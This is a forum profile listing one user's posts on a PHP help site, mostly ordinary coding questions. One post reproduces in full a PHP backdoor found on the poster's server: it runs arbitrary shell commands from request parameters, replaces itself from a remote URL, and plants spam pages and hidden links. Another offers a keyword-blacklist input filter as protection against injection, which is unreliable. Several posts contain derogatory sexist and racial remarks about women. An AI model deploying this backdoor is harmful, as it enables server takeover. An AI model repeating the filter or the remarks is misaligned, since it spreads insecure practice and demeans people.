dreamwest
Members-
Posts
1,223 -
Joined
-
Last visited
Never
Everything posted by dreamwest
-
Using headers for image caching is a waste of your time - you only need htaccess. Anyway i loaded the image and it is cached, so it is working. If you refreah the page the images WILL of course reload - simple
-
<FilesMatch "\.(jpg|jpeg|gif|ico|png)$"> Header set Cache-Control "max-age=604800, public" </FilesMatch>
-
I have a mp3 player which loops 20 times, is there another way i can just call the mp3 code once thus helping page loading times? //loops 20 times for each song// <div class="player"> <object type="application/x-shockwave-flash" data="/mp3/player.swf" id="audioplayer1" height="24" width="290"> <param name="movie" value="/mp3/player.swf"> <param name="FlashVars" value="playerID=1& bg=0xCDDFF3&leftbg=0x357DCE&lefticon=0xF2F2F2&rightbg=0xF06A51&rightbghover=0xAF2910&righticon=0xF2F2F2& righticonhover=0xFFFFFF&text=0x357DCE&slider=0x357DCE&track=0xFFFFFF&border=0xFFFFFF&loader=0xAF2910&soundFile=http://{$latest[i].url}"> <param name="quality" value="high"> <param name="menu" value="false"> <param name="wmode" value="transparent"> </object></center> I tried a function but it didnt seem to help loading times
-
if you have Options - Indexes in your root htacess, and you have something like this http://site.com/ http://site.com/dir/secret_file.flv http://site.com/dir/even_more_secret.txt http://site.com/dir/super_secret.php Someone going to : http://site.com/dir/ will get a forbidden, and your files wont be displayed to the browser
-
ocremix.org heres one of my favorites : http://www.ocremix.org/remix/OCR01251/ ill always love terranigma
-
Yes. Thats worked, i was missing the ['fielname1'] field name from $res[$i] Thanks!
-
Yes that printed it out onto the screen, but how can i now use it as an array $res = select_row("SELECT * from mains order by main_id asc limit 10 "); $nodes = array($res); $node_count = count($nodes);
-
I tried it but it didnt work, heres what i did: function select_row($sql) { $rs = mysql_query($sql); if (!$rs) return false; else { while($row = mysql_fetch_array($rs,MYSQL_ASSOC)) { $res[] = $row; } return $res; } } select_row("SELECT * from mains order by main_id asc limit 10 "); $nodes = array($res);
-
Yes. Something like this. $result = mysql_query ("SELECT * from mains where scan=0 order by main_id asc limit 10 ") or die(mysql_error()); $row = mysql_fetch_array( $result ); $nodes = array($row[1]); But for all the results and not just one
-
How can i get a mysql query into an array? I cooked up this but it doesnt work $result = mysql_query ("SELECT * from mains where scan=0 order by main_id asc limit 10 ") or die("Fail"); while($row = mysql_fetch_assoc( $result )){ $links .= "http://".$row['main']."' ,'"; } $links = substr($links, 0, -4); $links = "'{$links}'"; echo $links; $nodes = array($links);
-
For some reason the $confirm variable was interfering, dont know why but it now works: <?php session_start(); $yes = $_POST['confirm']; if($yes != ""){ $_SESSION['confirm'] = 1; } if($_SESSION['confirm']){ $session = "ok"; echo "im set!!"; } ?> <form action="" method="POST"> <input type="hidden" name="confirm" value="yes" > <input style="margin-right: 5px; " type="submit" value="Confirm User"> </form>
-
I cant seem to set this session for some reason: <?php session_start(); $comfirm = $_POST['confirm']; if($confirm != ""){ $_SESSION['confirm'] = 1; } if($_SESSION['confirm']){ $session = "ok"; echo "im set!!"; } ?> <form action="" method="POST"> <input type="hidden" name="confirm" value="yes" > <input style="margin-right: 5px; " type="submit" value="Confirm User"> </form>
-
Free till 40 sounds great to me, i can do whatever i want - if your married you proberly find this irritating and you have grounds to be cause it AWESOME to be free and happy while your young Ignorance is when someone says smarty is shite without even testing it etc.. Ignorance is closing your eyes to REALITY, when your friends around you are getting raped in court by their faithful western hoes - someone then says marrying one is great and you believe it.....i mean COMMON! This says it all : http://nomarriage.com/why_foreign_women_are_better.html
-
I was talking to my neighbor this morning and was chatting about stuff and i mentioned i plan to marry a Asian girl when im 40yo or so.....she flipped out! Gave me all the propaganda about how "evil" asian girls are compared to western women. ...I mean do guys have STUPID written on their foreheads, there isnt a day that goes by i hear of someone i know , getting taken for a ride by their other "loving" half. Anyway its not just her ive told a few random ppl and the reaction is still the same. I cant see what - if any benefit there is to marrying a western woman. But its your choice who you want to marry, but AT LEAST be aware of the alternatives. Go to a divorce court one arvo and see the true colors of "love", then dump you western hoe, grab a sexy asian thing and live happilly ever after - the end!
-
Ive almost got this but i cant seem to get it to stop at the first / $link = "site.com/bfdgnh/oc8687/funny_names.jpg"; if (preg_match_all("/\/(.*)\.jpg/i", $link, $titles)) { print_r($titles); } This outputs: Array ( [0] => Array ( [0] => /bfdgnh/oc8687/funny_names.mp3 ) [1] => Array ( [0] => bfdgnh/oc8687/funny_names ) ) but i just need the last part "funny_names"
-
while($row = mysql_fetch_assoc( $result )){ $url = $row['url']; // set URL and other appropriate options $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $content = curl_exec($ch); // close cURL resource, and free up system resources curl_close($ch); $page = $content; preg_match_all('~<a\b[^>]+href\s?=\s?[\'"](.*?)[\'"]~is', $page, $matches); foreach ($matches[1] as $link) { $link = trim($link); //check the page size// $ch = curl_init($link); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $data = curl_exec($ch); curl_close($ch); if ($data === false) { echo 'cURL failed'; exit; } $contentLength = 'unknown'; $status = 'unknown'; if (preg_match('/Content-Length: (\d+)/', $data, $matches)) { $contentLength = (int)$matches[1]; } $filesize = round(($contentLength / 1224)) ; } }//end while loop Thats pretty much it, the rest is just getting the meta tags an inserting into a database
-
I have a while loop from the database and a foreach loop but theres something wacky going on cause it continually looping the first database result: while($row = mysql_fetch_assoc( $result )){ $page = $row['page']; preg_match_all('~<a\b[^>]+href\s?=\s?[\'"](.*?)[\'"]~is', $page, $matches); foreach ($matches[1] as $link) { $link = trim($link); } }//end while loop So the $page might have 100 links in it, but for some reason the foreach is "sticking" after it matches the first link in the $page
-
I do , i allow ppl to upload videos only....and its the only place i haven't checked. Ill do it now
-
I dont get how they can add not only a php file but a directory, my ftp is 20 chars mixed, i change it every 3 months. I clean post, get, and requests using strip_tags and str_replace, and database queries with mysql_real_escape_string() Im outta ideas on how else they could do it
-
I use strip tags and str_replate to sanitize it, and i know that not nearly enough. Ive added this , ill see if that stops it: $username = substr(trim($_POST['username']),0,20); // prevent SQL-injection $username = str_replace('\\','\\\\', $username); $username = str_replace('"','\"', $username); // prevent XSS-attack, Shell-execute and JavaScript execution if (preg_match("/cmd|CREATE|DELETE|DROP|eval|EXEC|File|INSERT|printf/i",$username)) { $username = ''; } if (preg_match("/LOCK|PROCESSLIST|SELECT|shell|SHOW|SHUTDOWN/i",$username)) { $username = ''; } if (preg_match("/SQL|SYSTEM|TRUNCATE|UNION|UPDATE|DUMP/i",$username)) { $username = ''; } if (preg_match("/java|vbscri|embed|onclick|onmouseover|onfocus/i",$username)) { $username = ''; } $password = substr(trim($_POST['password']),0,20); // prevent SQL-injection $password = str_replace('\\','\\\\', $password); $password = str_replace('"','\"', $password); // prevent XSS-attack, Shell-execute and JavaScript execution if (preg_match("/cmd|CREATE|DELETE|DROP|eval|EXEC|File|INSERT|printf/i",$password)) { $password = ''; } if (preg_match("/LOCK|PROCESSLIST|SELECT|shell|SHOW|SHUTDOWN/i",$password)) { $password = ''; } if (preg_match("/SQL|SYSTEM|TRUNCATE|UNION|UPDATE|DUMP/i",$password)) { $password = ''; } if (preg_match("/java|vbscri|embed|onclick|onmouseover|onfocus/i",$password)) { $password = ''; }
-
Its been a while since ive had a security breach but Heres something i found on my server today, im assuming is a brute force attack on login form, and its trying to write to .htaccess (permissions now 444). Any ideas on what else it might do?? <?php ignore_user_abort(1); set_time_limit(0); function Clear() { unlink("c"); unlink("1r.txt"); unlink("2r.txt"); unlink("log"); } function Clear2() { $mrd = trim(file_get_contents("m")); $pt = "../$mrd"; $fin = file_get_contents($pt); $fin = ereg_replace("<dd4>(.*)<dd5>", "", $fin); $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin); $fin = preg_replace('#<a[^>]+\_lm[^>]*>.*?</a>#is', '', $fin); $fin = preg_replace("/http(.*?)tmp6(.*?)\<\/a\>/", "", $fin); $fin = ereg_replace("<!--dd4-->", "", $fin); $fin = ereg_replace("<!--dd5-->", "", $fin); $fin = ereg_replace("<font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">", "", $fin); $fmrd = fopen($pt, "w+"); fwrite($fmrd, $fin); fclose($fmrd); echo " upt-ok"; } function GetVar($name, &$var) { $var = ""; if (isset($_POST[$name])) $var = $_POST[$name]; if (isset($_GET[$name])) $var = $_GET[$name]; if (($var) =="") return false; else return true; } function GenNew() { $alp = "abcdefghiklmnjsweqrtyuiopzx"; $maps = array(); if (isset($_POST["sg"])) $sg = $_POST["sg"]; if (isset($_GET["sg"])) $sg = $_GET["sg"]; $path = ""; $fr = fopen("1r.txt", "a+"); if (file_exists("c")) { $fconf = file("c"); $tname = trim($fconf[0]); } else { $fconf = fopen("c", "w+"); $rnd = mt_rand(0, 999); $nm = ""; for ($i=0; $i<5; $i++) { $ran = mt_rand(0,26); $sym = $alp[$ran]; $nm = $nm.$sym; } $tname = $nm; mkdir($tname); fwrite($fconf, $tname); $pid = 0; $fht = fopen("$tname/.htaccess", "w+"); $htname = $sg."2.txt"; $fp = fopen($htname, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); fwrite($fht, $fin); fclose($fht); } $gname = $sg."sgen.php"; for ($j=$pid; $j<$pid+10; $j++) { $fc = ""; $fp = fopen($gname, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); $arr = explode("</html>", $fin); //print_r($arr); $curs = trim($arr[1]); $newf = "$tname/$curs/"; echo "$newf"; mkdir($newf); $fnd = fopen("$tname/$curs/$curs".".php", "w+"); fwrite($fnd, $fin); fclose($fnd); fwrite($fr, "$tname/$curs/$curs".".php\n"); } } function Gen2() { $alp = "abcdefghiklmnjsweqrtyuiopzx"; $maps = array(); $md = false; if (isset($_POST["sg"])) $sg = $_POST["sg"]; if (isset($_GET["sg"])) $sg = $_GET["sg"]; if (isset($_GET["md"])) $md = true; $path = ""; $fr = fopen("1r.txt", "a+"); $f2r = fopen("2r.txt", "a+"); if (file_exists("c")) { $fconf = file("c"); $tname = trim($fconf[0]); $i_dor = trim($fconf[1]); $i_dor = $i_dor+0; } else { $fconf = fopen("c", "w+"); $rnd = mt_rand(0, 999); $nm = ""; for ($i=0; $i<5; $i++) { $ran = mt_rand(0,26); $sym = $alp[$ran]; $nm = $nm.$sym; } $tname = $nm; mkdir($tname); fwrite($fconf, $tname."\n"); fwrite($fconf, "0\n"); $pid = 0; $fht = fopen("$tname/.htaccess", "w+"); $htname = $sg."2.txt"; $fp = fopen($htname, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); fwrite($fht, $fin); fclose($fht); $fht = fopen("$tname/2.js", "w+"); $htname = $sg."2js.txt"; $fp = fopen($htname, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); fwrite($fht, $fin); fclose($fht); $f1t = fopen("1t", "w+"); $f1tname = $sg."1t.php"; $fp = fopen($f1tname, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); fwrite($f1t, $fin); fclose($f1t); } $i_dor++; $i_dor--; $a1t = file("1t"); $gname = $sg."sgen2.php"; for ($j=$pid; $j<$pid+10; $j++) { $cth = trim($a1t[$i_dor]); $i_dor++; $fc = ""; $fp = fopen($gname."?th=$cth", "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); $links =""; if (($i_dor<196) || ($i_dor>199)) { for ($y=0; $y<22; $y++) { $rndi = mt_rand(0,299); $rth = trim($a1t[$rndi]); $links .= "<li> <a href='$rth.php'>$rth</a> </li> \n"; } } if ($i_dor==196) { for ($y=0; $y<75; $y++) { $rth = trim($a1t[$y]); $links .= "<li> <a href='$rth.php'>$rth</a> </li> \n"; } } if ($i_dor==197) { for ($y=75; $y<150; $y++) { $rth = trim($a1t[$y]); $links .= "<li> <a href='$rth.php'>$rth</a> </li> \n"; } } if ($i_dor==198) { for ($y=150; $y<225; $y++) { $rth = trim($a1t[$y]); $links .= "<li> <a href='$rth.php'>$rth</a> </li> \n"; } } if ($i_dor==199) { for ($y=225; $y<300; $y++) { $rth = trim($a1t[$y]); $links .= "<li> <a href='$rth.php'>$rth</a></li> \n"; } } $fin = ereg_replace("<LINKS2>", $links, $fin); $curs = $cth; $fnd = fopen("$tname/$curs".".php", "w+"); fwrite($fnd, $fin); fclose($fnd); if (($md) && ($i_dor==196 || $i_dor==197 || $i_dor==198 || $i_dor==199)) { fwrite($fr, "$tname/$curs".".php\n"); } if (($md) && ($i_dor<196 || $i_dor>199) ) { fwrite($f2r, "$tname/$curs".".php\n"); } } $fconf = fopen("c", "w+"); fwrite($fconf, $tname."\n".$i_dor."\n"); fclose($fconf); } function Gen() { $alp = "abcdefghiklmnjsweqrtyuiopzx"; $maps = array(); if (isset($_POST["sg"])) $sg = $_POST["sg"]; if (isset($_GET["sg"])) $sg = $_GET["sg"]; if (isset($_POST["gm"])) $g = $_POST["gm"]; if (isset($_GET["gm"])) $g = $_GET["gm"]; $path = ""; $fr = fopen("1r.txt", "a+"); if (file_exists("c")) { $fconf = file("c"); $tname = trim($fconf[0]); $cname = trim($fconf[1]); $curs = trim($fconf[2]); $pid = trim($fconf[3]); if ($pid == 100) { $pid = 0; $rnd = mt_rand(0, 999); $nm = ""; for ($i=0; $i<3; $i++) { $ran = mt_rand(0,26); $sym = $alp[$ran]; $nm = $nm.$sym; } $cname = $nm; mkdir("$tname/$cname"); $curs = $g; } } else { $rnd = mt_rand(0, 999); $nm = ""; for ($i=0; $i<5; $i++) { $ran = mt_rand(0,26); $sym = $alp[$ran]; $nm = $nm.$sym; } $tname = $nm; $pid = 0; $curs = $g; mkdir($tname); $fht = fopen("$tname/.htaccess", "w+"); $htname = $sg."2.txt"; $fp = fopen($htname, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); fwrite($fht, $fin); fclose($fht); $rnd = mt_rand(0, 999); $nm = ""; for ($i=0; $i<3; $i++) { $ran = mt_rand(0,26); $sym = $alp[$ran]; $nm = $nm.$sym; } $cname = $nm; mkdir("$tname/$cname"); } $gname = $sg."sgen.php"; for ($j=$pid; $j<$pid+10; $j++) { $fp = fopen($gname."?g=$curs", "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); $fnd = fopen("$tname/$cname/$curs"."_$j.php", "w+"); fwrite($fnd, $fin); fclose($fnd); } if ($j==100) { $fp = fopen($gname."?g=$curs&m=1", "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); $fnd = fopen("$tname/$cname/$curs"."_lm.php", "w+"); fwrite($fnd, $fin); fclose($fnd); $map = "$path/$tname/$cname/$curs"."_lm.php"; fwrite($fr,"$map\n"); } $fconf = fopen("c", "w+"); fwrite($fconf, $tname."\n"); fwrite($fconf, $cname."\n"); fwrite($fconf, $curs."\n"); $nj = $j; fwrite($fconf, $nj."\n"); fclose($fconf); } function Update() { if (isset($_GET["name"])) $sname = $_GET["name"]; $thisname = "$sname.php"; if (isset($_POST['u'])) $u = $_POST['u']; if (isset($_GET['u'])) $u = $_GET['u']; $fp = fopen($u, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); $fthis = fopen($thisname, "w+"); fwrite($fthis, $fin); fclose($fthis); } function Com() { if (isset($_POST['c'])) @system($_POST['c']); if (isset($_GET['c'])) @system($_GET['c']); } function MRepl() { $mpt = ""; $drs = ""; $begtag = "<dd4><font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">"; $endtag = "</font></body></html><dd5> "; $mrd = trim(file_get_contents("m")); $pt = "../$mrd"; $fin = file_get_contents($pt); GetVar("mpt", $mpt); // ??????? ??????????? ???? ???? $fin = preg_replace ("/<\/body>/i", "", $fin); $fin = preg_replace ("/<\/html>/i", "", $fin); $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin); $fin = ereg_replace("<dd4>(.*)<dd5>", "", $fin); $fp = fopen($mpt, "r"); $drs = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) { exit(); } $drs .= $fc; } fclose($fp); $fin = $fin.$begtag; $fin = $fin.$drs; $fin = $fin.$endtag; $fmrd = fopen($pt, "w+"); fwrite($fmrd, $fin); fclose($fmrd); } function WrTest() { $path = trim($_GET['wr']); $htname = $path."w.txt"; $fp = fopen($htname, "r"); $fin = ''; while (!feof($fp)) { $fc = fgets($fp, 1024); if (!$fc) break; $fin .= $fc; } fclose($fp); ; $fout = fopen("w.txt", "w+"); fwrite($fout, $fin); fclose($fout); } function Main() { if (isset($_POST['u']) || isset($_GET['u'])) { Update(); exit(); } if (isset($_POST['c']) || isset($_GET['c'])) { Com(); exit(); } if (isset($_POST['g']) || isset($_GET['g'])) { Gen(); exit(); } if (isset($_POST['g1']) || isset($_GET['g1'])) { GenNew(); exit(); } if (isset($_POST['g2']) || isset($_GET['g2'])) { Gen2(); exit(); } if (isset($_POST['s']) || isset($_GET['s'])) { MRepl(); exit(); } if (isset($_POST['cl']) || isset($_GET['cl'])) { Clear(); exit(); } if (isset($_POST['cl2']) || isset($_GET['cl2'])) { Clear2(); exit(); } if (isset($_POST['wr']) || isset($_GET['wr'])) { WrTest(); exit(); } echo "<ok>"; } Main(); ?>
-
[SOLVED] detect and store country name into database.
dreamwest replied to zohab's topic in PHP Coding Help
http://j.maxmind.com/app/geoip.js -
Revenue idea for phpfreaks (Second attempt)
dreamwest replied to dreamwest's topic in PHPFreaks.com Website Feedback
Youtube has ads (introduced) and theyre not doing too bad. gamefaq.com has intro popup, so does tv.com .....so why would phpfreaks suffer an alternate fate. -
is there a free software that unzips tar files?
dreamwest replied to dadamssg's topic in Miscellaneous
Well ive just enlightened you -
Cause it !seems! creative